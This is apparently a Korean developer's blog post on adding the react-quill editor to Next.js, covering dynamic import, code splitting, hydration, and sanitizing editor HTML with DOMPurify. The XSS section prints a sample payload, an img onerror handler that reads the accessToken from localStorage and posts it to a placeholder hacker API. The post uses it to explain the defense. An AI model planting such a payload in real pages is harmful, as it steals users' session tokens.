[React] 웹에디터(React-quill) 적용, 크로스 사이트 스크립트(XSS)를 막기 위해 Dompurify를 설치하자!, Hydration Issue

badassong·2022년 12월 7일
1

React

목록 보기
11/56
post-thumbnail

웹에디터 라이브러리 활용

React에서 쓸 수 있는 에디터 라이브러리로는 React-quill, React Draft Wysiwyg 등이 있고 국내에서 만든 것은 TOAST UI Editor이 있다.
📍나중에 팀플할 때 적용해 볼 것!

설치하는 법
yarn add react-quill
또는 npm install react-quill

코드적용

import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";

export default function WebEditorPage() {
  const handleChange = (value: string) => {
    console.log(value);
  };

  return (
    <div>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}

하지만 이 때, Next.js를 사용하고 있다면
document is not defined 라는 에러 페이지가 뜰 것이다.

그 이유는!!
Next.js는 기본적으로 서버사이드 렌더링을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 pre-rendering 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
window 또는 document object를 선언하기 전
이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것이다!

이를 해결하기 위해서는 document가 선언된 시점 이후에 React-quill을 import 해야한다. 그렇다면 어떻게 해야 할까??

dynamic import 방식을 사용하면 해결 가능하다!!

dynamic import

Next.js에서 제공하는 dynamic은 해당 모듈을 호출하는 시점을 document에 대한 정보가 선언된 후의 시점으로 옮겨서 호출할 수 있게 한다.

이런 dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 한다.
반드시 다운로드를 받아도 되지 않아도 되는 부분은 dynamic import를 사용해 필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.
따라서 성능최적화에도 기여를 한다!! 이렇게 필요한 시점에 import해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅(code splitting)이라고 한다!

코드 스플릿팅 예제

import { useEffect, useState } from "react";
// import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";

import dynamic from "next/dynamic";
import { useForm } from "react-hook-form";
import { gql, useMutation } from "@apollo/client";
import { useRouter } from "next/router";
// import { Modal } from "antd";

const ReactQuill = dynamic(async () => await import("react-quill"), {
  ssr: false, // 서버에서는 import하지 않고, 브라우저일 때만 실행한다!!
});

const CREATE_BOARD = gql`
  mutation createBoard($createBoardInput: CreateBoardInput!) {
    createBoard(createBoardInput: $createBoardInput) {
      _id
    }
  }
`;

export default function WebEditorPage() {
  const router = useRouter();
  const [createBoard] = useMutation(CREATE_BOARD);

  const { register, handleSubmit, setValue, trigger } = useForm({
    mode: "onChange",
  });

  // ReactQuill 만든 사람들이 만든 onChange이므로 event 안들어옴
  const onChangeContents = (value: string) => {
    console.log(value);

    // register로 등록하지 않고 강제로 값을 넣어주는 기능!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange 됐으니까 에러검증 같은 것들 해달라고 react-hook-form에 알려주는 기능!!
    void trigger("contents");
  };

  const onClickSubmit = async (data: any) => {
    const result = await createBoard({
      variables: {
        createBoardInput: {
          writer: data.writer,
          password: data.password,
          title: data.title,
          contents: data.contents,
        },
      },
    });
    const boardId = result.data?.createBoard._id;
    if (typeof boardId === "string")
      void router.push(`/27-04-web-editor-detail/${boardId}`);

    // event.preventDefault(); // onSubmit에 내장되어 있는 기본 기능 막아줘!(다른 페이지로 이동하려는 기능)
    // const { Modal } = await import("antd"); // dynamic import!  code-splitting(코드 스플릿팅)
    // Modal.success({ content: "게시글 등록에 성공했습니다!" });
  };

  return (
    <form onSubmit={handleSubmit(onClickSubmit)}>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목:
      <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill theme="snow" onChange={onChangeContents} />
      <br />
      <button>등록하기</button>
    </form>
  );
}

antd를 상단에서 import하지 않고
const { Modal } = await import("antd");
로 코드스플릿팅 했다.

react-quill을 dynamic import해야하는 이유는
서버사이드에서 import하지말고 아예 갖고 와서 하기 위해서!
서버에서 import할지 브라우저에서 import할지 동적으로 정하기 위해서 쓴다!!

XSS 공격 (Cross Site Script)

dangerouslySetInnerHTML을 이용하면 웹에디터에 입력한 html태그가 적용된 형태로 내용을 받아올 수 있다.

하지만 이것은 공격에 매우 취약한 방식이다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위의 코드가 실행되면 localStorage 내의 accessToken도 훔칠 수 있게 된다. 이처럼 javascript와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트(Cross Site Script/XSS) 라고 한다.
하지만 Dompurify 라이브러리를 사용하면 막을 수 있다.

Dompurify 설치

yarn add dompurify
yarn add -D @types/dompurify

Dompurify 적용

{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

서버사이드 렌더링 에러를 막기 위해 조건부 렌더링을 걸었다.

Hydration

직역하면 수분공급이라는 뜻이다.

Next.js는 위와 같은 과정을 거쳐 페이지를 그린다.
이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.

React.js, Next.js 비교


React.js는 실제 주소가 없고, 브라우저에서 가짜 주소를 만든다.


모든 페이지의 프리렌더링 html파일들이 만들어져 있음!


마지막에 브라우저에 JS를 적용해줌으로써 hydration을 해준다!


ETC

한 form안에 button을 두개 쓰려면
한 버튼엔 어차피 onSubmit이니까 type지정안해도 되고 나머지 한 버튼에 onClick함수를 걸어주려면 꼭 type="button"지정해줘야함 안그럼 함수가 두개 실행됨

  • yarn dev는 open with live server와 비슷한 개념, 수정할때마다 refresh 가능
  • 하지만 yarn start는 세상에 공개(배포)할때 명령어로 씀 , 수정해도 refresh안됨!

form안에 등록버튼, 수정버튼 적용법

profile
프론트엔드 대장이 되어보쟈

0개의 댓글